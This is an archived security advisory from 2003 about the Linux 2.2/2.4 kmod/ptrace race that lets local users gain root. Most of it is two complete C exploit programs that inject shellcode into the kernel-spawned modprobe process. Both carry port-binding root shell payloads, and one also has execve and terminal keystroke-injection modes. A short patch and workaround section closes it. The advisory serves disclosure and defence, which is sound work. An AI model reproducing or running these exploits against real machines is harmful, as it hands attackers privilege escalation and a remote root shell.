TUCoPS :: Linux :: General :: a6072.htm

Linux local root exploit via ptrace
17th Mar 2003 [SBWID-6072]
COMMAND

	Linux local root exploit via ptrace

SYSTEMS AFFECTED

	Linux 2.2, 2.4

PROBLEM

	Alan Cox [alan@redhat.com] says :
	
	 http://www.uwsg.iu.edu/hypermail/linux/kernel/0303.2/0226.html
	
	The Linux 2.2 and Linux 2.4 kernels have a flaw  in  ptrace.  This  hole
	allows local users to obtain full  privileges.  Remote  exploitation  of
	this hole is not possible. Linux 2.5 is not believed to be vulnerable.
	
	Linux 2.2.25 has been released to correct  Linux  2.2.  It  contains  no
	other changes. The bug fixes that would have been in 2.2.5pre1 will  now
	appear in 2.2.26pre1. The patch will apply directly to  most  older  2.2
	releases.
	
	A patch for Linux 2.4.20/Linux 2.4.21pre is  attached.  The  patch  also
	subtly changes the PR_SET_DUMPABLE prctl. We believe this is  neccessary
	and that it will not affect any software. The  functionality  change  is
	specific to unusual debugging situations.
	
	We would like to thank Andrzej Szombierski who found  the  problem,  and
	wrote an initial patch. Seth Arnold cleaned up  the  2.2  change.  Arjan
	van de Ven and Ben  LaHaise  identified  additional  problems  with  the
	original fix.
	
	 Update (20 March 2003)
	 ======
	
	Andrzej   Szombierski    [anszom@v-lo.krakow.pl]    [http://bezkitu.com]
	comments :
	
	There are many discussions (on  slashdot  for  example)  on  the  recent
	linux ptrace (& kmod) bug. I'll try to  clarify  what  is  this  all
	about.
	
	It's a local root vulnerability. It's exploitable only if:
	
	1. the kernel is built with modules and kernel module loader enabled
	
	 and
	
	2. /proc/sys/kernel/modprobe contains the path to some valid executable
	
	 and
	
	3. ptrace() calls are not blocked
	
	These conditions are met on most standard linux distros.
	
	Ok now how it works:
	
	When a process requests a feature which  is  in  a  module,  the  kernel
	spawns a  child  process,  sets  its  euid  and  egid  to  0  and  calls
	execve("/sbin/modprobe") The problem is that before the euid change  the
	child process can be attached to with ptrace(). Game over, the user  can
	insert any code into a process which will  be  run  with  the  superuser
	privileges.
	
	A word about 2.5. kernels - these are not vulnerable because the  kernel
	thread spawning code has been rewritten so that the modprobe process  is
	spawned from keventd, it never runs with non-root uid, so  it  can't  be
	ptraced by any non-root user.
	
	Sample exploit here (ix86-only):
	
	 http://august.v-lo.krakow.pl/~anszom/km3.c
	
	/* lame, oversophisticated local root exploit for kmod/ptrace bug in linux
	 * 2.2 and 2.4
	 * 
	 * have fun
	 */
	
	#define ANY_SUID	"/usr/bin/passwd"
	
	#include <stdio.h>
	#include <string.h>
	#include <stdlib.h>
	#include <unistd.h>
	#include <sys/ptrace.h>
	#include <linux/user.h>
	#include <signal.h>
	#include <fcntl.h>
	#include <sys/wait.h>
	#include <sys/stat.h>
	#include <asm/ioctls.h>
	#include <getopt.h>
	
	// user settings:
	
	int randpids=0;
	
	#define M_SIMPLE		0
	#define M_DOUBLE		1
	#define M_BIND			2
	
	int mode=M_SIMPLE;
	char * bin=NULL;
	
	struct stat me;
	int chldpid;
	int hackpid;
	
	// flags
	int sf=0;
	int u2=0;
	
	void killed(int a) { u2=1; }
	void synch(int x){ sf=1; }
	
	// shellcode to inject
	unsigned char shcode[1024];
	
	char ptrace_code[]="\x31\xc0\xb0\x1a\x31\xdb\xb3\x10\x89\xf9"
	        "\xcd\x80\x85\xc0\x75\x41\xb0\x72\x89\xfb\x31\xc9\x31\xd2\x31\xf6"
	        "\xcd\x80\x31\xc0\xb0\x1a\x31\xdb\xb3\x03\x89\xf9\xb2\x30\x89\xe6"
	        "\xcd\x80\x8b\x14\x24\xeb\x36\x5d\x31\xc0\xb0\xFF\x89\xc7\x83\xc5"
	        "\xfc\x8b\x75\x04\x31\xc0\xb0\x1a\xb3\x04\xcd\x80\x4f\x83\xed\xfc"
	        "\x83\xea\xfc\x85\xff\x75\xea\x31\xc0\xb0\x1a\x31\xdb\xb3\x11\x31"
	        "\xd2\x31\xf6\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xc5\xff"
	        "\xff\xff";
	
	char execve_tty_code[]=
		"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68"
	        "\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\xb0\x05\x31\xc9\x66"
	        "\xb9\x41\x04\x31\xd2\x66\xba\xa4\x01\xcd\x80\x89\xc3\x31\xc0\xb0"
	        "\x3f\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54"
	        "\x24\x04\x5b\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8"
	        "\xe8\xff\xff\xff";
	
	char execve_code[]="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\xb0\x46"
	        "\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80"
	        "\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff";
	
	char bind_code[]=
	        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40"
	        "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89"
	        "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02"
	        "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec"
	        "\xec\x31\xc0\x50\x66\xb8\x10\x10\xc1\xe0\x10\xb0\x02\x50\x89\xe6"
	        "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83"
	        "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04"
	        "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05"
	        "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74"
	        "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd"
	        "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31"
	        "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
	        "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff";
	
	// generate shellcode that sets %edi to pid 
	int pidcode(unsigned char * tgt, unsigned short pid)
	{
	fprintf(stderr, "pid=%d=0x%08x\n", pid, pid);
	tgt[0]=0x31; tgt[1]=0xff;
	tgt+=2;
		if((pid & 0xff) && (pid & 0xff00)){
		tgt[0]=0x66; tgt[1]=0xbf;
		*((unsigned short*)(tgt+2))=pid;
		return 6;
		}else{
		int n=2;
	
			if(pid & 0xff00){
			tgt[0]=0xB0; tgt[1]=(pid>>8);
			tgt+=2; n+=2;
			}
			
		memcpy(tgt,"\xC1\xE0\x08", 3); tgt+=3; n+=3;
		
			if(pid & 0xff){
			tgt[0]=0xB0; tgt[1]=pid;
			tgt+=2; n+=2;
			}
		tgt[0]=0x89; tgt[1]=0xC7;
		return n+2;
		}
	}
	
	void mkcode(unsigned short pid)
	{
	int i=0;
	unsigned char *c=shcode;
	c+=pidcode(c, pid);
	strcpy(c, ptrace_code);
	c[53]=(sizeof(execve_code)+strlen(bin)+4)/4;
	strcat(c, execve_code);
	strcat(c, bin);
	}
	
	//------------------------
	
	void hack(int pid)
	{
	int i;
	struct user_regs_struct r;
	char b1[100]; struct stat st;
	int len=strlen(shcode);
	
		if(kill(pid, 0)) return;
	
	sprintf(b1, "/proc/%d/exe", pid);
		if(stat(b1, &st)) return;
	
		if(st.st_ino!=me.st_ino || st.st_dev!=me.st_dev) return;
		
		if(ptrace(PTRACE_ATTACH, pid, 0, 0)) return;
		while(ptrace(PTRACE_GETREGS, pid, NULL, &r));
	fprintf(stderr, "\033[1;33m+ %d\033[0m\n", pid);
		
		if(ptrace(PTRACE_SYSCALL, pid, 0, 0)) goto fail;
		while(ptrace(PTRACE_GETREGS, pid, NULL, &r));
			
		for (i=0; i<=len; i+=4)
		if(ptrace(PTRACE_POKETEXT, pid, r.eip+i, *(int*)(shcode+i))) goto fail;
	
	kill(chldpid, 9);
	ptrace(PTRACE_DETACH, pid, 0, 0);
	fprintf(stderr, "\033[1;32m- %d ok!\033[0m\n", pid);
	
		if(mode==M_DOUBLE){
		char commands[1024];
		char * c=commands;
		kill(hackpid, SIGCONT);
		sprintf(commands, "\nexport TERM='%s'\nreset\nid\n", getenv("TERM"));
			while(*c) { ioctl(0, TIOCSTI, c++); }
		
		waitpid(hackpid, 0, 0);
		}
	
	exit(0);
	
	fail:
	ptrace(PTRACE_DETACH, pid, 0, 0);
	kill(pid, SIGCONT);
	}
	
	void usage(char * cmd)
	{
	fprintf(stderr, "Usage: %s [-d] [-b] [-r] [-s] [-c executable]\n"
	"\t-d\t-- use double-ptrace method (to run interactive programs)\n"
	"\t-b\t-- start bindshell on port 4112\n"
	"\t-r\t-- support randomized pids\n"
	"\t-c\t-- choose executable to start\n"
	"\t-s\t-- single-shot mode - abort if unsuccessful at the first try\n", cmd);
	exit(0);
	}
	
	int main(int ac, char ** av, char ** env)
	{
	int single=0;
	char c;
	int mypid=getpid();
	fprintf(stderr, "Linux kmod + ptrace local root exploit by <anszom@v-lo.krakow.pl>\n\n");
		if(stat("/proc/self/exe", &me) && stat(av[0], &me)){
		perror("stat(myself)");
		return 0;
		}
	
		while((c=getopt(ac, av, "sbdrc:"))!=EOF) switch(c) {
		case 'd': mode=M_DOUBLE; break;
		case 'b': mode=M_BIND; break;
		case 'r': randpids=1; break;
		case 'c': bin=optarg; break;
		case 's': single=1; break;
		default: usage(av[0]);
		}
	
		if(ac!=optind) usage(av[0]);
	
		if(!bin){
			if(mode!=M_SIMPLE) bin="/bin/sh";
			else{
			struct stat qpa;
				if(stat((bin="/bin/id"), &qpa)) bin="/usr/bin/id";
			}
		}
	
	signal(SIGUSR1, synch);
	
	hackpid=0;
		switch(mode){
		case M_SIMPLE:
		fprintf(stderr, "=> Simple mode, executing %s > /dev/tty\n", bin);
		strcpy(shcode, execve_tty_code);
		strcat(shcode, bin);
		break;
	
		case M_DOUBLE:
		fprintf(stderr, "=> Double-ptrace mode, executing %s, suid-helper %s\n",
				bin, ANY_SUID);
			if((hackpid=fork())==0){
			char *ble[]={ANY_SUID, NULL};
			fprintf(stderr, "Starting suid program %s\n", ANY_SUID);
			kill(getppid(), SIGUSR1);
			execve(ble[0], ble, env);
			kill(getppid(), 9);
			perror("execve(SUID)");
			_exit(0);
			}
	
			while(!sf);
	
		usleep(100000);
		kill(hackpid, SIGSTOP);
		mkcode(hackpid);
		break;
	
		case M_BIND:
		fprintf(stderr, "=> portbind mode, executing %s on port 4112\n", bin);
	
		strcpy(shcode, bind_code);
		strcat(shcode, bin);
		break;	
		}
	fprintf(stderr, "sizeof(shellcode)=%d\n", strlen(shcode));
		
	signal(SIGUSR2, killed);
	
		if(randpids){
		fprintf(stderr, "\033[1;31m"
	"Randomized pids support enabled... be patient or load the system heavily,\n"
	"this method does more brute-forcing\033[0m\n");
		}
	
	again:
	sf=0;
		if((chldpid=fork())==0){
		int q;
		kill(getppid(), SIGUSR1);
			while(!sf);
	
		fprintf(stderr, "=> Child process started");
			for(q=0;q<10;++q){
			fprintf(stderr, ".");
			socket(22,0,0);
			}
		fprintf(stderr, "\n");
		kill(getppid(), SIGUSR2);
		_exit(0);
		}
	
		while(!sf);
	kill(chldpid, SIGUSR1);
	
		for(;;){
		int q;
			if(randpids){
				for(q=1;q<30000;++q)
				if(q!=chldpid && q!=mypid && q!=hackpid) hack(q);
			}else{
				for(q=chldpid+1;q<chldpid+10;q++) hack(q);
			}
	
			if(u2){
			u2=0;
				if(single) break;
			goto again;
			}
		}
	fprintf(stderr, "Failed\n");
	return 1;
	}
	
	// M$ sucks
	// 
	// http://bezkitu.com/
	
	
	
	
	 Update 14 april: other exploit
	 ==============================
	
	
	/*
	 *  Author: snooq [http://www.angelfire.com/linux/snooq/]
	 *  Date: 10 April 2003
	 *
	 *  Wojciech Purczynski [ cliph@isec.pl ], says (in his code):
	 *
	 *  [quote]
	 *	This code exploits a race condition in kernel/kmod.c, which creates
	 *	kernel thread in insecure manner. This bug allows to ptrace cloned
	 *	process, allowing to take control over privileged modprobe binary.
	 *  [/quote]
	 *
	 *  For more info: http://www.securiteam.com/unixfocus/5FP0A2K9GQ.html
	 *
	 *  Temp fix --> echo XXX > /proc/sys/kernel/modprobe
	 *
	 *  I've seen somewhere... somebody suggested 'chmod 700 /proc' as a quick
	 *  fix....
	 *
	 *  The truth is... 'chmod 700 /proc' does not close the hole.
	 *  It merely cripple the exploit... which reads /proc entries
	 *
	 *  The flaw is still exploitable without 'rwx' to /proc..
	 *  
	 *  Having said all these craps.... I must say that I'm still a newbie to 
	 *  kernel stuffs.... and I think my code looks really ugly too....
	 *
	 *  so... if you r not happy wif the way I code.. or any suggestions for me..
	 *  or even flames.... direct them to jinyean_at_hotmail_dot_com 
	 *
	 *  Well.. I dun usually do this.. but I will do it this time... 
	 *  Greetz.. my team mates??? Nam, JF & ET?? haha...  
	 * 
	 *  just wanna thank u for reading these craps..  
	 *  and to ET.. maybe next time.. I could join u as a kernel hacker... =p
	 *
	 *  Notes: 
	 *  ======
	 *  1. There are at least 2 versions of exploit out there..
	 *     ie, Wojciech's and anszom's...
	 *
	 *  2. The way I exploit it is no diff from both except:
	 *     -> mine is one attempt per run. Script it, if u need to
	 *     -> bind port instead of spawn shell.. 
	 *     -> dun bother to read /proc entries
	 *     -> not as feature rich as anszom's
	 *     -> not as reliable.... etc... etc..
	 *  
	 *  3. I coded this as an exercise.. as a way to learn bout kernel internals 
	 *
	 *  4. Lastly, credits go to Wojciech and anszom.
	 *
	 */
	
	#include <stdio.h>
	#include <fcntl.h>
	#include <errno.h>
	#include <string.h>
	#include <stdlib.h>
	#include <signal.h>
	#include <sys/wait.h>
	#include <sys/stat.h>
	#include <sys/types.h>
	#include <sys/ptrace.h>
	#include <sys/socket.h>
	#include <linux/user.h>		/* For user_regs_struct */
	
	#define SIZE	(sizeof(shellcode)-1)	
	
	pid_t parent=0;
	pid_t child=0;
	pid_t k_child=0;
	static int sigc=0;
	
	/*
	   Port binding shellcode, courtesy of <anszom@v-lo.krakow.pl>
	   I just changed the port no..... =p 
	*/
	
	char shellcode[]=	
	        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40"
	        "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89"
	        "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02"
	        "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec"
	        "\xec\x31\xc0\x50\x66\xb8\x61\x2c\xc1\xe0\x10\xb0\x02\x50\x89\xe6"
	        "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83"
	        "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04"
	        "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05"
	        "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74"
	        "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd"
	        "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31"
	        "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
	        "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff/bin/sh";
	
	void sigchld() {
		sigc++;
		return;
	}
	
	void sigalrm() {
		fprintf(stderr,"-> Something wrong and it timeout.\n");
		exit(0);
	}
	
	main(int argc, char *argv[]) {
	
		int i, error;
		pid_t pid;
	
		struct user_regs_struct regs;	/* Registers Structure */
	
		parent=getpid();
	
		switch (pid=fork()) {
	
		case -1:
			perror("Can't fork(): ");
			break;
		
		case 0:			/* Child's thread -- The attacking thread. */
	
			child=getpid();
			k_child=child+1;	/* Kernel child's PID... Hopefully.. */
	
			fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child);
	
			fprintf(stderr, "-> Attaching to %d...", k_child);
	
			/* 
			   Trying to attach to the child spawned by the kernel, which has both
			   euid and egid set to 0. Child will be sent a SIGSTOP and we, the 'parent',
			   will get a SIGCHLD. This process is not immediate. Hence, we need to 
			   wait before we continue. Otherwise, we will fail controlling the thread.
			*/
	
			signal(SIGCHLD,sigchld);
			signal(SIGALRM,sigalrm);
			alarm(10);
	
			while ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
				fprintf(stderr, ".");
			}
	
			if (error==-1) {
				fprintf(stderr,"-> Unable to attach to %d.\n",k_child);
				exit(0);
			}
	
			fprintf(stderr, "\n-> Got the thread!!\n");
	
			/* 
			   Waiting for the firt SIGCHLD, which signals the end of the attaching action.
			*/
	
			while(sigc<1);
			
			if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) {
				fprintf(stderr,"-> Unable to setup syscall trace.\n");
				exit(0);
			}
	
			/*
			   The thread is under our control now. Will wail for the next signal 
			   to inject our own code.
			*/
	
			fprintf(stderr,"-> Waiting for the next signal...\n");
			while(sigc<2);
	
			if (ptrace(PTRACE_GETREGS,k_child,NULL,&regs)==-1) {
				perror("-> Unable to read registers: ");
			}
		
			fprintf(stderr, "-> Injecting shellcode at 0x%08x\n",regs.eip);
			
			for (i=0; i<=SIZE; i+=4) {
				if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {}
			}
	
			fprintf(stderr, "-> Bind root shell on port 24876... =p\n");
	
			/*
			   All done. It's time to leave 'our' poor child alone.... ;)
			   and get ready to kill ourselves... 
			*/
	
			if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) {
				perror("-> Unable to detach from modprobe thread: ");
			}
	
			fprintf(stderr, "-> Detached from modprobe thread.\n");
			fprintf(stderr, "-> Committing suicide.....\n");
	
			if (kill(parent,9)==-1) {	/* This is really ugly..... */
				perror("-> We survived??!!??  ");
			}
	
			/*
			   We should be dead by now. 
			*/
	
			exit(0); 
	
			break;
	
		default:		/* Parent's thread -- The vulnerable call */
		
			/*
			   Now, the parent is requesting a feature in a kernel module.
			   Such action will trigger the kernel to spawn a child with
			   euid=0, egid=0.... Voila!!!
				
			   NB: See <linux/socket.h> for more info.	
			*/
			signal(SIGALRM,sigalrm);
			alarm(10);
			socket(AF_SECURITY,SOCK_STREAM,1);
			break;
		}
		exit(0);
	
	}
	

SOLUTION

	Patch is available, see link above.
	
	Solutions/workarounds:
	
	- patch the kernel
	
	 or
	
	- disable kmod/modules
	
	 or
	
	- install a ptrace-blocking module
	
	 or
	
	- set /proc/sys/kernel/modprobe to /any/bogus/file

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH